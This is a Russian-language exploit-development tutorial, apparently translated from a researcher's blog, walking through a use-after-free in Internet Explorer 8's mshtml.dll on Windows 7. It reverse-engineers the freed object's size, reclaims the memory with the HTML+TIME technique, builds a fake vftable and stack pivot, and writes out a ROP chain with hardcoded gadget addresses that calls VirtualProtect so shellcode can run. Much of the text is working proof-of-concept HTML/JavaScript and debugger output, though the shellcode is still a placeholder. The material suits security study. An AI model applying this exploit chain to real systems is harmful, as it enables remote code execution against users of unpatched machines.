Чтобы мы могли попытаться заполнить освобожденный кусок нашими собственными данными, нам сначала нужно определить размер освобождаемого объекта, таким образом, когда мы выделяем нашу память, мы надеемся, что она будет использоваться для заполнения освобожденной памяти, поскольку мы передаем браузеру запрос на выделение того же размера, что и освобожденный фрагмент (вспомните, как куча пытается использовать существующие освобожденные фрагменты на серверной части перед вызовом внешнего интерфейса).

Давайте на мгновение перейдем к IDA, чтобы попытаться реконструировать, насколько велик этот фрагмент, чтобы мы могли заполнить этот освобожденный фрагмент собственными данными.

Мы знаем, что механизм освобождения - это деструктор класса CAnchorElement. Поищем его в IDA. Для этого загрузите IDA Freeware для Windows на второй компьютер с Windows, который является 64-разрядным, и желательно с Windows 10. Затем возьмите mshtml.dll, который находится в C:\Windows\system32 на машине для разработки эксплойтов Windows 7, скопируйте его на машину Windows с IDA и загрузите. Обратите внимание, что могут возникнуть проблемы с получением правильных символов в IDA, поскольку это более старая DLL из Windows 7. Если это так, я предлагаю взглянуть на PDB Downloader (https://github.com/rajkumar-rangaraj/PDB-Downloader), чтобы быстро получить символы локально и вручную импортировать файлы .pdb.

Теперь поищем деструктор. Мы можем просто найти класс CAnchorElement и найти любые функции, содержащие слово деструктор.

35.png


Как видим, мы нашли деструктор! Согласно предыдущей трассировке стека, этот деструктор должен вызвать HeapFree, который фактически выполняет освобождение. Мы видим, что это так после дизассемблирования функции в IDA.

36.png


Запрашивая документацию Microsoft по HeapFree(https://docs.microsoft.com/en-us/windows/win32/api/heapapi/nf-heapapi-heapfree), мы видим, что он принимает три аргумента: 1. Дескриптор кучи, в которой будет освобождена часть памяти, 2. Флажки для освобождения и 3. Указатель на фактический фрагмент памяти, который нужно освободить.

37.png


На этом этапе вы можете спросить: "Ни один из этих параметров не является размером". Это верно! Однако теперь мы видим, что адрес блока, который будет освобожден, будет третьим параметром, передаваемым вызову HeapFree. Обратите внимание, что, поскольку мы находимся в 32-битной системе, аргументы функций будут передаваться через соглашение о вызовах __stdcall, что означает, что стек используется для передачи аргументов в вызов функции.

Еще раз взгляните на прототип предыдущего образа. Обратите внимание, что деструктор принимает аргумент для объекта типа CanchorElement. Это имеет смысл, поскольку это деструктор для объекта, созданного из класса CanchorElement. Это также означает, однако, что должен быть конструктор, способный также создавать указанный объект! И когда деструктор вызывает HeapFree, конструктор, скорее всего, вызовет либо malloc, либо HeapAlloc! Мы знаем, что последний аргумент для вызова HeapFree в деструкторе - это адрес фактического фрагмента, который нужно освободить. Это означает, что в первую очередь необходимо выделить кусок. При повторном поиске функций в IDA в классе CAnchorElement есть функция под названием CreateElement, которая очень характерна для конструктора объекта CAnchorElement! Давайте посмотрим на это в IDA.

38.png


Отлично, мы видим, что на самом деле есть вызов HeapAlloc. Обратимся к документации Microsoft для этой функции (https://docs.microsoft.com/en-us/windows/win32/api/heapapi/nf-heapapi-heapalloc).

39.png


Первый параметр - это снова дескриптор существующей кучи. Во-вторых, это любые флаги, которые вы хотите установить для выделения кучи. Третье и самое важное для нас - это фактический размер кучи. Это говорит нам о том, что при создании объекта CAnchorElement он будет иметь размер 0x68 байт. Если мы снова откроем наш POC в Internet Explorer, позволив отладчику снова взять на себя ответственность, мы фактически увидим, что размер свободного от уязвимости фрагмента кучи размером 0x68 байт, точно так же, как и наш реверс инжиниринг CAnchorElement::CreateElement показывает функцию.

40.png




Это доказывает нашу гипотезу, и теперь мы можем приступить к редактированию нашего скрипта, чтобы увидеть, не можем ли мы контролировать это распределение. Прежде чем продолжить, давайте отключим PageHeap для IE8.

41.png


Теперь, когда это сделано, давайте обновим наш POC следующим кодом.

42.png


Вышеупомянутый POC снова начинается с триггера, чтобы создать условие использования после освобождения. После запуска use-after-free мы создаем строку размером 104 байта, что составляет 0x68 байтов - размер освобожденного выделения. Само по себе это не приводит к выделению памяти в куче. Однако, как указывает Корелан (https://www.corelan.be/index.php/2013/02/19/deps-precise-heap-spray-on-firefox-and-ie10/), можно создать произвольный элемент DOM и установить одно из свойств для строки. Это действие на самом деле приведет к тому, что размер строки, установленной для свойства элемента DOM, будет размещен в куче!

Давайте запустим новый POC и посмотрим, какой результат мы получим, снова используя WinDbg в качестве посмертного отладчика.

43.png


Интересно! На этот раз мы пытаемся разыменовать адрес 0x41414141 вместо того, чтобы получить произвольный сбой, как это было в начале этой статьи, путем запуска исходного POC без включенного PageHeap! Однако причина этого сбоя совсем другая! Напомним, что фрагмент кучи, вызывающий проблему, находится в ECX, как мы видели ранее. Однако на этот раз вместо того, чтобы видеть освобожденную память, мы действительно можем видеть, что наши данные, контролируемые пользователем, теперь выделяют кусок кучи!

44.png


Теперь, когда мы, наконец, выяснили, как мы можем контролировать данные в ранее освобожденном фрагменте, мы можем довести все, что описано в этом руководстве, до полного круга. Давайте посмотрим на текущее выполнение программы.

45.png


Мы знаем, что это процедура для выборки виртуальной функции из таблицы виртуальных функций. Первая инструкция mov eax, dword ptr [ecx] берет указатель таблицы виртуальных функций, также известный как vptr, и загружает его в регистр EAX. Затем оттуда снова разыменовывается этот vptr, который указывает на таблицу виртуальных функций, и вызывается с указанным смещением. Обратите внимание, как в настоящее время мы контролируем регистр ECX, который используется для хранения vptr.

46.png


Давайте также посмотрим на этот фрагмент в контексте структуры HeapBase.

47.png


Как мы видим, в куче наш чанк является частью, LFH активирован (FrontEndHeapType 0x2 означает, что LFH используется). Как упоминалось ранее, это позволит нам легко заполнить освободившуюся память нашими собственными данными, как мы только что видели на изображениях выше. Помните, что LFH также является LIFO, как и стек, в Windows 7. Последний освобожденный фрагмент - это первый выделенный фрагмент в следующем запросе. Это оказалось полезным, поскольку мы смогли определить правильный размер для этого распределения и обслужить его.

Это означает, что нам принадлежат 4 байта, которые ранее использовались для хранения vptr. А теперь давайте подумаем - что, если бы можно было построить нашу собственную фальшивую таблицу виртуальных функций с записями 0x70? Что мы могли сделать, так это с помощью нашего примитива для управления vptr мы могли бы заменить vptr указателем на нашу собственную "таблицу виртуальных функций", которую мы могли бы разместить где-нибудь в памяти. Отсюда мы могли бы создать 70 указателей (представьте себе 70 "поддельных функций"), а затем иметь управляемый нами vptr, указывающий на таблицу виртуальных функций.

По замыслу программы, выполнение программы естественным образом разыменовало бы нашу фальшивую таблицу виртуальных функций, оно извлекло бы все, что находится в нашей фальшивой таблице виртуальных функций со смещением 0x70, и вызвало бы это! Наша цель - построить наш собственный vftable и сделать 70-ю "функцию" в нашей таблице указателем на цепочку ROP, которую мы создали в памяти, которая затем обойдет DEP и предоставит нам оболочку!

Теперь мы знаем, что можем заполнить освободившееся выделение собственными данными. Вместо того, чтобы просто использовать элементы DOM, мы фактически будем использовать технику для выполнения точного перераспределения с HTML + TIME, как описано в Exodus Intelligence (https://blog.exodusintel.com/2013/01/02/happy-new-year-analysis-of-cve-2012-4792/). Я выбрал этот метод, чтобы просто избежать распыления кучи, что не является основной темой этой публикации. Основное внимание здесь уделяется изучению уязвимостей использования после освобождения и пониманию поведения JavaScript. Обратите внимание, что в более современных системах, где такого примитива, как этот, больше не существует, это то, что затрудняет использование использования после освобождения - перераспределение и восстановление освобожденной памяти. Может потребоваться дополнительная обратная инженерия для поиска объектов подходящего размера и т. д.

По сути, этот "метод" HTML + TIME, который работает только для IE8, вместо того, чтобы просто помещать 0x68 байт памяти для заполнения нашей кучи, что по-прежнему приводит к сбою, потому что мы не предоставляем указатели ни на что, только необработанные данные, мы действительно можем создать массив указателей 0x68, который мы контролируем. Таким образом, мы можем заставить выполнение программы вызывать что-то значимое (например, нашу фальшивую виртуальную таблицу!).

Взгляните на наш обновленный POC. (Возможно, вам потребуется открыть первое изображение в новой вкладке)

48.png


Опять же, в блоге Exodus будут подробно описаны детали, но, по сути, здесь происходит то, что мы можем использовать SMIL (язык синхронизированной интеграции мультимедиа), чтобы вместо простого создания 0x68 байтов данных для заполнения кучи создавать указатели на 0x68 байтов, который гораздо более полезен и позволит нам создать фальшивую таблицу виртуальных функций.

Обратите внимание, что хип распыление - это альтернатива, хотя она относительно тщательно изучается. Смысл этого эксплойта состоит в том, чтобы задокументировать уязвимости, связанные с использованием после освобождения, и то, как определить размер освобожденного выделения и как его правильно заполнить. Эта специфическая техника сегодня тоже не применима. Однако это начало моего изучения эксплуатации браузеров, и я ожидаю, что начну с основ.

Давайте теперь снова запустим POC и посмотрим, что произойдет.

49.png


Отличная новость, мы управляем указателем инструкции! Давайте посмотрим, как мы сюда попали. Напомним, что мы выполняем код в рамках той же процедуры в CElement :: Doc, где мы были, где мы извлекаем виртуальную функцию из vftable. Взгляните на изображение ниже.

50.png


Начнем с самого верха. Как мы видим, EIP теперь настроен на наши данные, контролируемые пользователем. Значение в ECX, как это было верно на протяжении всей этой процедуры, содержит адрес блока кучи, который был виновником уязвимости.
Теперь мы контролировали этот освобожденный фрагмент с помощью предоставленного пользователем фрагмента байта 0x68.

Как мы знаем, этот кусок кучи в ECX при разыменовании содержит vptr, или, в нашем случае, поддельный vptr. Обратите внимание, что первое значение в ECX и все последующие значения - 004 .… Это массив указателей, возвращенных методом HTML + TIME! Если мы разыменуем первый член, это будет указатель на наш поддельный vftable! Это замечательно, поскольку значение в ECX разыменовывается для получения нашего поддельного vptr (один из указателей из метода HTML + TIME). Затем это указывает на нашу фальшивую таблицу виртуальных функций, и мы установили 70-й член равным 42424242, чтобы подтвердить контроль над указателем инструкции. Чтобы повторить еще раз, помните, что код для получения виртуальной функции выглядит следующим образом:
mov eax, dword ptr [ecx] ; Это Кладет vptr в EAX из значения, на которое указывает ECX
mov edx, dword ptr [eax+0x70] ; Это берет vptr, разыменовывает его, чтобы получить указатель на таблицу виртуальных функций со смещением 0x70, и сохраняет его в EDX.
call edx ; Функция вызывается

Итак, здесь произошло то, что мы загрузили наш кусок кучи, который заменил освобожденный фрагмент, в ECX. Значение в ECX указывает на наш кусок кучи. Наш кусок кучи имеет размер 0x68 байт и состоит только из указателей либо на поддельную таблицу виртуальных функций (1-й указатель), либо на указатель на строку vftable (2-й указатель и т.д.). Это можно увидеть на изображении ниже (в WinDbg poi() разыменует то, что находится в круглых скобках, и отобразит это).

51.png


Это значение в ECX, которое является указателем на нашу поддельную vtable, также помещается в EAX.

52.png


Значение EAX со смещением 0x70 затем помещается в регистр EDX. Затем вызывается это значение.

53.png



Как мы видим, это 42424242, это целевая функция из нашего поддельной vftable! Теперь мы успешно создали наш примитив эксплойта и можем начать с цепочки ROP, где мы можем обмениваться регистрами EAX и ESP, поскольку мы контролируем EAX, для получения управления стеком и создания цепочки ROP.

Я имею в виду, комон, ты ожидал, что я упущу возможность написать свою собственную цепочку ROP?

Прежде всего, прежде чем мы начнем, хорошо известно, что IE8 содержит некоторые модули, которые не зависят от ASLR. Для этих целей этот эксплойт не будет принимать во внимание ASLR, но я надеюсь, что настоящий обход ASLR через утечку информации - это то, чем я могу воспользоваться в будущем, и я хотел бы задокументировать эти результаты в блоге. Однако на данный момент мы должны научиться ходить, прежде чем сможем бегать. В настоящее время я только изучаю использование браузера, и я еще не там. Однако надеюсь буду там скоро!

Хорошо известно (https://www.corelan.be/index.php/2011/07/03/universal-depaslr-bypass-with-msvcr71-dll-and-mona-py/), что при использовании Java Runtime Environment, а именно версии 1.6, в Internet Explorer 8 загружается более старая версия MSVCR71.dll, которая не скомпилирована с ASLR. Мы могли бы просто использовать эту DLL для наших целей. Однако, поскольку по этому поводу уже есть много документации, мы продолжим и просто отключим ASLR для всей системы и построим нашу собственную цепочку ROP, чтобы обойти DEP, с другой библиотекой, которая не имеет "автоматизированной цепочки ROP". Еще раз заметьте, это первая публикация в серии, в которой я надеюсь сделать вещи более современными. Тем не менее, я нахожусь в сакмом начале обучения в том, что касается изучения использования браузеров, поэтому мы собираемся начать с ходьбы, а не с бега. В этой статье описывается, как отключить ASLR в масштабах всей системы.

Отлично. Отсюда мы можем использовать утилиту rp++ (https://github.com/0vercl0k/rp) для перечисления гаджетов ROP для данной DLL. Поищем в mshtml.dll, он нам уже знаком!

54.png


Для начала мы знаем, что наша фальшивая таблица виртуальных функций находится в EAX. Здесь мы не ограничены определенным размером, так как на эту таблицу указывает первый из 26 DWORDS (всего 0x68 или 104 байта), который заполняет освобожденный кусок кучи. Благодаря этому мы можем обменять регистр EAX (которым мы управляем) с регистром ESP. Это даст нам контроль над стеком и позволит начать формирование цепочки ROP.

Анализируя вывод ROP-гаджета из rp++, мы видим, что существует хороший ROP-гаджет.

55.png


Давайте обновим наш POC этим гаджетом ROP вместо прежнего DWORD 42424242, который используется вместо нашей фальшивой виртуальной функции.

HTML:
<!DOCTYPE html>
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
<meta><?IMPORT namespace="t" implementation="#default#time2"></meta>
  <script>

    window.onload = function() {

      // Создайте фальшивую таблицу из 70 DWORDS (70 "функций")
      vftable = "\u4141\u4141";

      for (i=0; i < 0x70/4; i++)
      {
        // Это то место, где выполнение будет достигнуто, когда фальшивая vtable проиндексирована, потому что уязвимость использования после освобождения является результатом извлечения виртуальной функции в [eax+0x70]
        // which is now controlled by our own chunk
        if (i == 0x70/4-1)
        {
          vftable+= unescape("\ua1ea\u74c7");     // xchg eax, esp ; ret (74c7a1ea) (mshtml.dll) Get control of the stack
        }
        else
        {
          vftable+= unescape("\u4141\u4141");
        }
      }

      // This creates an array of strings that get pointers created to them by the values property of t:ANIMATECOLOR (so technically these will become an array of pointers to strings)
      // Just make sure that the strings are semicolon seperated (the first element, which is our fake vftable, doesn't need to be prepended with a semicolon)
      // The first pointer in this array of pointers is a pointer to the fake vftable, constructed with the above for loops. Each ";vftable" string is prepended to the longer 0x70 byte fake vftable, which is the first pointer/DWORD
      for(i=0; i<25; i++)
      {
        vftable += ";vftable";
      }

      // Trigger the UAF
      var x  = document.getElementById("a");
      x.outerText = "";

      /*
      // Create a string that will eventually have 104 non-unicode bytes
      var fillAlloc = "\u4141\u4141";

      // Strings in JavaScript are in unicode
      // \u unescapes characters to make them non-unicode
      // Each string is also appended with a NULL byte
      // We already have 4 bytes from the fillAlloc definition. Appending 100 more bytes, 1 DWORD (4 bytes) at a time, compensating for the last NULL byte
      for (i=0; i < 100/4-1; i++)
      {
        fillAlloc += "\u4242\u4242";
      }

      // Create an array and add it as an element
      // https://www.corelan.be/index.php/2013/02/19/deps-precise-heap-spray-on-firefox-and-ie10/
      // DOM elements can be created with a property set to the payload
      var newElement = document.createElement('img');
      newElement.title = fillAlloc;
      */

      try {
        a = document.getElementById('anim');
        a.values = vftable;
      }
      catch (e) {};

  </script>
    <table>
      <tr>
        <div>
          <span>
            <q id='a'>
              <a>
                <td></td>
              </a>
            </q>
          </span>
        </div>
      </tr>
    </table>
ss
</html>


Давайте (пока) оставим WinDbg настроенным как наш отладчик и посмотрим, что произойдет. Запустив POC, мы видим, что происходит сбой, и указатель инструкции указывает на 41414141.

56.png
 
Последнее редактирование:
Круто! Мы видим, что мы получили контроль над EAX, заставив нашу виртуальную функцию указывать на устройство ROP, которое обменивает EAX на ESP! Вспомните, что ранее было сказано о нашем фейковом vftable. Прямо сейчас эта таблица имеет размер всего 0x70 байт, потому что мы знаем, что наша таблица vftable ранее проиндексировала функцию со смещением 0x70. Однако это не означает, что мы ограничены общим байтом 0x70. Единственное ограничение, которое у нас есть - это то, сколько памяти мы можем выделить для заполнения блока. Помните, что на этот vftable указывает DWORD, созданный с помощью метода HTML + TIME, чтобы выделить 26 DWORDS, всего 0x68 байтов или 104 байта в десятичном формате, что нам нужно для управления освобожденным распределением.

Зная это, давайте добавим несколько гаджетов ROP в наш POC, чтобы обрисовать эту концепцию.

Python:
// Создайте фальшивую таблицу из 70 DWORDS (70 "функций")
vftable = "\u4141\u4141";

for (i=0; i < 0x70/4; i++)
{
// Это то место, где выполнение будет достигнуто при индексировании поддельной vtable, потому что уязвимость использования после освобождения является результатом извлечения виртуальной функции по адресу [eax + 0x70]
// которая теперь контролируется нашим собственным чанком
if (i == 0x70/4-1)
{
  vftable+= unescape("\ua1ea\u74c7");     // xchg eax, esp ; ret (74c7a1ea) (mshtml.dll) Get control of the stack
}
else
{
  vftable+= unescape("\u4141\u4141");
}
}

// Начало цепочки ROP
rop = "\u4343\u4343";
rop += "\u4343\u4343";
rop += "\u4343\u4343";
rop += "\u4343\u4343";
rop += "\u4343\u4343";
rop += "\u4343\u4343";
rop += "\u4343\u4343";
rop += "\u4343\u4343";
rop += "\u4343\u4343";

// Скомбинировать все
vftable += rop;

57.png


Круто! Мы видим, что наш сбой по-прежнему происходит правильно, указатель инструкций контролируется, и мы добавили в наш поддельный vftable, который теперь находится в стеке! Что касается стратегии эксплуатации, обратите внимание, что в стеке все еще остается указатель, который является нашей исходной инструкцией xchg eax, esp. Из-за этого нам нужно будет фактически запустить нашу цепочку ROP после этого указателя, поскольку она уже была выполнена. Это означает, что наш гаджет ROP должен начинаться там, где начинаются 43434343 байта, а 41414141 байт могут оставаться в качестве заполнения/перехода дальше в поддельный vftable.

Следует отметить, что с этого момента у меня возникли проблемы с установкой точек останова в WinDbg с процессами Internet Explorer. Это связано с тем, что Internet Explorer разделяет многие процессы, в зависимости от того, сколько у вас вкладок, и наш код, даже когда он открыт на исходной вкладке Internet Explorer, будет разветвлять другой процесс Internet Explorer. Из-за этого мы просто продолжим использовать WinDbg в качестве нашего отладчика в настоящее время и вносим изменения в нашу цепочку ROP, а затем просматриваем состояние отладчика, чтобы увидеть наши результаты. При необходимости мы начнем отладку родительского процесса Internet Explorer, а затем WinDbg, чтобы определить правильный дочерний процесс, а затем отладить его, чтобы правильно проанализировать наш эксплойт.

Мы знаем, что нам нужно изменить остальные наши поддельные vftable DWORDS на что-то, что в конечном итоге "перепрыгнет" через наши ранее используемые xchg eax, esp; ret. Для этого давайте отредактируем то, как мы строим наш фальшивый vftable.

Python:
// Create the fake vftable of 70 DWORDS (70 "functions")
// Start the table with ROP gadget that increases ESP (Since this fake vftable is now on the stack, we need to jump over the first 70 "functions" to hit our ROP chain)
// Otherwise, the old xchg eax, esp ; ret stack pivot gadget will get re-executed
vftable = "\u07be\u74fb";                   // add esp, 0xC ; ret (74fb07be) (mshtml.dll)

for (i=0; i < 0x70/4; i++)
{
// This is where execution will reach when the fake vtable is indexed, because the use-after-free vulnerability is the result of a virtaul function being fetched at [eax+0x70]
// which is now controlled by our own chunk
if (i == 0x70/4-1)
{
  vftable+= unescape("\ua1ea\u74c7");     // xchg eax, esp ; ret (74c7a1ea) (mshtml.dll) Get control of the stack
}
else if (i == 0x68/4-1)
{
  vftable += unescape("\u07be\u74fb");    // add esp, 0xC ; ret (74fb07be) (mshtml.dll) When execution reaches here, jump over the xchg eax, esp ; ret gadget and into the full ROP chain
}
else
{
  vftable+= unescape("\u7738\u7503");     // ret (75037738) (mshtml.dll) Keep perform returns to increment the stack, until the final add esp, 0xC ; ret is hit
}
}

// ROP chain
rop = "\u9090\u9090";                       // Padding for the previous ROP gadget (add esp, 0xC ; ret)

// Our ROP chain begins here
rop += "\u4343\u4343";
rop += "\u4343\u4343";
rop += "\u4343\u4343";
rop += "\u4343\u4343";
rop += "\u4343\u4343";
rop += "\u4343\u4343";
rop += "\u4343\u4343";
rop += "\u4343\u4343";

// Combine everything
vftable += rop;

Пока что мы знаем, что этот поддельный vftable будет загружен в стек. Когда это происходит, наш исходный гаджет xchg eax, esp; ret по-прежнему будет там, и нам понадобится способ не запускать его снова. Мы собираемся это сделать, заменив 41414141 байт несколькими кодами операций ret, что в конечном итоге приведет к добавлению esp, 0xC; ret ROP-гаджету, который перепрыгнет через xchg eax, esp; ret гаджет и в нашу последнюю цепочку ROP!

Повторный запуск нового POC показывает нам, что выполнение программы пропустило таблицу виртуальных функций в нашу цепочку ROP! Я подробно расскажу о цепочке ROP, но с этого момента в этом эксплойте нет ничего особенного. Как и в предыдущих моих статьях (https://connormcgarr.github.io/eko2019-exe/), построение ROP-цепочки на этом этапе - то же самое. Чтобы начать работу с ROP, обратитесь к этим сообщениям. В этом посте мы просто рассмотрим цепочку ROP, созданную для этого эксплойта.

58.png


Первый из 8 43434343 DWORDS находится в ESP, а остальные 7 DWORDS расположены в стеке.

Это отличная новость. Отсюда у нас просто есть простая задача - разработать 32-битную цепочку ROP! Первый шаг - загрузить адрес стека в регистр, чтобы мы могли использовать его для вычислений RVA. Обратите внимание, что хотя стек меняет адреса между каждым экземпляром процесса (обычно), это не результат ASLR, это просто результат управления памятью.

Просматривая mshtml.dll, мы видим, что есть два отличных кандидата на получение адреса стека в EAX и ECX.

pop esp ; pop eax ; ret
mov ecx, eax ; call edx

Обратите внимание, однако, что инструкция mov ecx, eax заканчивается вызовом. Сначала мы вставим гаджет, который "возвращается в стек" в EDX. Когда происходит вызов, наш стек получает адрес возврата, помещенный в стек. Чтобы компенсировать это и чтобы выполнение программы не выполняло этот адрес возврата, мы просто можем добавить к ESP, чтобы по существу "перепрыгнуть" через адрес возврата. Вот как выглядит этот блок ROP-цепочек.

// Our ROP chain begins here
rop += "\ud937\u74e7"; // push esp ; pop eax ; ret (74e7d937) (mshtml.dll) Get a stack address into a controllable register
rop += "\u9d55\u74c2"; // pop edx ; ret (74c29d55) (mshtml.dll) Prepare EDX for COP gadget
rop += "\u07be\u74fb"; // add esp, 0xC ; ret (74fb07be) (mshtml.dll) Return back to the stack and jump over the return address form previous COP gadget
rop += "\udfbc\u74db"; // mov ecx, eax ; call edx (74dbdfbc) (mshtml.dll) Place EAX, which contains a stack address, into ECX
rop += "\u9090\u9090"; // Padding to compensate for previous COP gadget
rop += "\u9090\u9090"; // Padding to compensate for previous COP gadget
rop += "\u9365\u750c"; // add esp, 0x18 ; pop ebp ; ret (750c9365) (mshtml.dll) Jump over parameter placeholders into ROP chain

// Parameter placeholders
// The Import Address Table of mshtml.dll has a direct pointer to VirtualProtect
// 74c21308 77e250ab kernel32!VirtualProtectStub
rop += "\u1308\u74c2"; // kernel32!VirtualProtectStub IAT pointer
rop += "\u1111\u1111"; // Fake return address placeholder
rop += "\u2222\u2222"; // lpAddress (Shellcode address)
rop += "\u3333\u3333"; // dwSize (Size of shellcode)
rop += "\u4444\u4444"; // flNewProtect (PAGE_EXECUTE_READWRITE, 0x40)
rop += "\u5555\u5555"; // lpflOldProtect (Any writable page)

// Arbitrary write gadgets to change placeholders to valid function arguments
rop += "\u9090\u9090"; // Compensate for pop ebp instruction from gadget that "jumps" over parameter placeholders
rop += "\u9090\u9090"; // Start ROP chain
После того, как мы получим адрес стека, загруженный в EAX и ECX, обратите внимание, как мы создали "заполнители параметров" для нашего вызова VirtualProtect, который пометит стек как RWX, и мы можем выполнить наш шелл-код оттуда.

Напомним, что у нас есть контроль над стеком, и все, что находится в переменной rop, находится в стеке. У нас есть вызов функции в стеке, потому что мы выполняем этот эксплойт в 32-битной системе. 32-разрядные системы, как вы помните, по умолчанию используют соглашение о вызовах __stdcall в Windows, которое передает аргументы функции в стек. Для получения дополнительной информации о том, как построен этот метод ROP, вы можете обратиться к предыдущей статье (https://connormcgarr.github.io/ROP2/), которую я написал, в котором описывается этот метод.

После запуска обновленного POC мы видим, что мы попали на 90909090 байтов, которые находятся в указанном выше POC, помеченном как "Start ROP chain", который является последней строкой кода. Давайте проверим несколько вещей, чтобы убедиться, что мы получаем ожидаемое поведение.

59.png


Наша цепочка ROP начинается с сохранения ESP (на тот момент) в EAX. Затем это значение перемещается в ECX, что означает, что оба EAX и ECX содержат адреса, которые очень близки к стеку в его текущем состоянии. Давайте проверим состояние регистров по сравнению со значением стека.

60.png


Как мы видим, EAX и ECX содержат один и тот же адрес, и оба эти адреса являются частью адресного пространства текущего стека! Это здорово, и мы уже в пути. Наша цель теперь будет заключаться в использовании сохраненных адресов стека, размещении их в стратегических регистрах и использовании произвольных гаджетов записи для перезаписи адресов стека, содержащих заполнители, нашими фактическими аргументами.

Как упоминалось выше, мы знаем, что Internet Explorer при запуске создает как минимум два процесса. Поскольку наш эксплойт дополнительно порождает другой процесс из Internet Explorer, теперь мы будем работать в обратном направлении. Давайте воспользуемся Process Hacker (https://processhacker.sourceforge.io/downloads.php), чтобы увидеть дерево процессов при запуске Internet Explorer.

61.png


Процессы, которые мы до сих пор рассматривали, являются дочерними процессами исходного родителя Internet Explorer. Обратите внимание, однако, когда мы запускаем наш POC (который не является полным эксплойтом и по-прежнему вызывает сбой), создается третий процесс Internet Explorer, даже если мы открываем этот файл из второго процесса Internet Explorer.

62.png


До сих пор мы не знали об этом, так как мы использовали WinDbg. Однако мы можем обойти это путем отладки, просто дождавшись создания третьего процесса! Каждый раз, когда мы выполняли скрипт, у нас было приглашение, хотим ли мы разрешить JavaScript. Мы будем использовать это как способ отладки правильного процесса. Во-первых, откройте Internet Explorer, как обычно. Во-вторых, перед подключением отладчика откройте сценарий эксплойта в Internet Explorer. Не нажимайте "Нажмите здесь, чтобы просмотреть параметры…".

63.png


Это создаст третий процесс, и он будет последним процессом, указанным в WinDbg в разделе "Системный порядок".

64.png


Обратите внимание, что вам не нужно каждый раз использовать Process Hacker для идентификации процесса. Откройте эксплойт и пока не принимайте запрос на выполнение JavaScript. Откройте WinDbg и подключитесь к самому последнему процессу Internet Explorer.

Теперь, когда мы отлаживаем правильный процесс, мы можем установить несколько точек останова, чтобы убедиться, что все в порядке. Давайте установим точку останова на "JUMP" через заполнители параметров для нашей ROP-цепочки и выполним наш POC.

65.png


Круто! Выполняя инструкции, мы, наконец, попадаем в наш "гаджет ROP" 90909090, который символизирует начало нашей "значимой" цепочки ROP, и мы видим, что "перепрыгнули" через заполнители параметров!

66.png


Из нашего текущего состояния выполнения мы знаем, что ECX/EAX содержат значение рядом со стеком. Расстояние между первым заполнителем параметра, который является записью IAT, указывающей на kernel32! VirtualProtectStub, составляет 0x18 байт от значения в ECX.

67.png


Наша первая цель будет заключаться в том, чтобы взять значение в ECX, увеличить его на 0x18, выполнить две операции разыменования, чтобы сначала разыменовать указатель в стеке, чтобы получить фактический адрес записи IAT, а затем разыменовать фактическую запись IAT, чтобы получить адрес kernel32! VirtualProtect. Это можно увидеть ниже.

// Arbitrary write gadgets to change placeholders to valid function arguments
rop += "\udfee\u74e7"; // add eax, 0x18 ; ret (74e7dfee) (mshtml.dll) EAX is 0x18 bytes away from the parameter placeholder for VirtualProtect
rop += "\udfbc\u74db"; // mov ecx, eax ; call edx (74dbdfbc) (mshtml.dll) Place EAX into ECX (EDX still contains our COP gadget)
rop += "\u9090\u9090"; // Padding to compensate for previous COP gadget
rop += "\u9090\u9090"; // Padding to compensate for previous COP gadget
rop += "\uf5c9\u74cb"; // mov eax, dword [eax] ; ret (74cbf5c9) (mshtml.dll) Dereference the stack pointer offset containing the IAT entry for VirtualProtect
rop += "\uf5c9\u74cb"; // mov eax, dword [eax] ; ret (74cbf5c9) (mshtml.dll) Dereference the IAT entry to obtain a pointer to VirtualProtect
rop += "\u8d86\u750c"; // mov dword [ecx], eax ; ret (750c8d86) (mshtml.dll) Arbitrary write to overwrite stack address with parameter placeholder for VirtualProtect

Приведенный выше фрагмент примет сохраненное значение стека в EAX и увеличит его на 0x18 байт. Это означает, что EAX теперь будет содержать значение стека, указывающее на заполнитель параметра VirtualProtect. Это значение также копируется в ECX, и используется наш ранее использованный гаджет COP. Затем значение в EAX разыменяется, чтобы получить указатель, на который указывает адрес стека в EAX (который является записью VirtualProtect IAT). Затем происходит разыменование записи IAT, чтобы получить фактическое значение VirtualProtect в EAX. ECX, внутри которого находится значение из EAX, которое является указателем в стеке на заполнитель параметра для VirtualProtect, перезаписывается произвольным гаджетом записи, чтобы перезаписать адрес стека фактическим адресом VirtualProtect. Давайте установим точку останова на ранее используемом гаджете add esp, 0x18, который использовался для перехода через заполнители параметров.

Выполнив обновленный POC, мы видим, что теперь EAX содержит адрес стека, который указывает на запись IAT в VirtualProtect.

68.png


Пройдя через гаджет COP, который загружает EAX в ECX, мы видим, что оба регистра теперь содержат одно и то же значение.

69.png


Пройдя, мы видим, что адрес стека разыменован и помещен в EAX, что означает, что теперь в EAX есть указатель на VirtualProtect.

70.png


Мы можем снова разыменовать адрес в EAX, который является указателем IAT на VirtualProtect, чтобы загрузить фактическое значение в EAX. Затем мы можем перезаписать значение в стеке, которое является нашим "заполнителем" для функции VirtualProtect, используя произвольный гаджет записи.

71.png


Как мы видим, значение в ECX, которое представляет собой адрес стека, который раньше указывал на заполнитель параметра, теперь указывает на фактический адрес VirtualProtect!

72.png


Следующая цель - заполнитель следующего параметра, который представляет "поддельный" адрес возврата. Этот обратный адрес должен быть адресом нашего шелл-кода. Напомним, что при вызове функции в стек помещается адрес возврата. Этот адрес используется при выполнении программы, чтобы функция знала, куда перенаправить выполнение после завершения вызова. Мы используем ту же концепцию здесь, потому что сразу после того, как страница в памяти, содержащая наш шелл-код, помечена как RWX, мы хотели бы сразу перейти к ней, чтобы начать выполнение.

Давайте сначала сгенерируем какой-нибудь шелл-код и сохраним его в переменной, называемой шелл-кодом. Давайте также сделаем нашу цепочку ROP статическим размером 100 DWORDS или общей длиной 100 гаджетов ROP.

Python:
rop += "\uf5c9\u74cb";                     // mov eax, dword [eax] ; ret (74cbf5c9) (mshtml.dll) Dereference the IAT entry to obtain a pointer to VirtualProtect
rop += "\u8d86\u750c";                     // mov dword [ecx], eax ; ret (750c8d86) (mshtml.dll) Arbitrary write to overwrite stack address with parameter placeholder for VirtualProtect

// Placeholder for the needed size of our ROP chains
for (i=0; i < 0x500/4 - 0x16; i++)
{
rop += "\u9090\u9090";
}

// Create a placeholder for our shellcode, 0x400 in size
shellcode = "\u9191\u9191";

for (i=0; i < 0x396/4-1; i++)
{
shellcode += "\u9191\u9191"
}

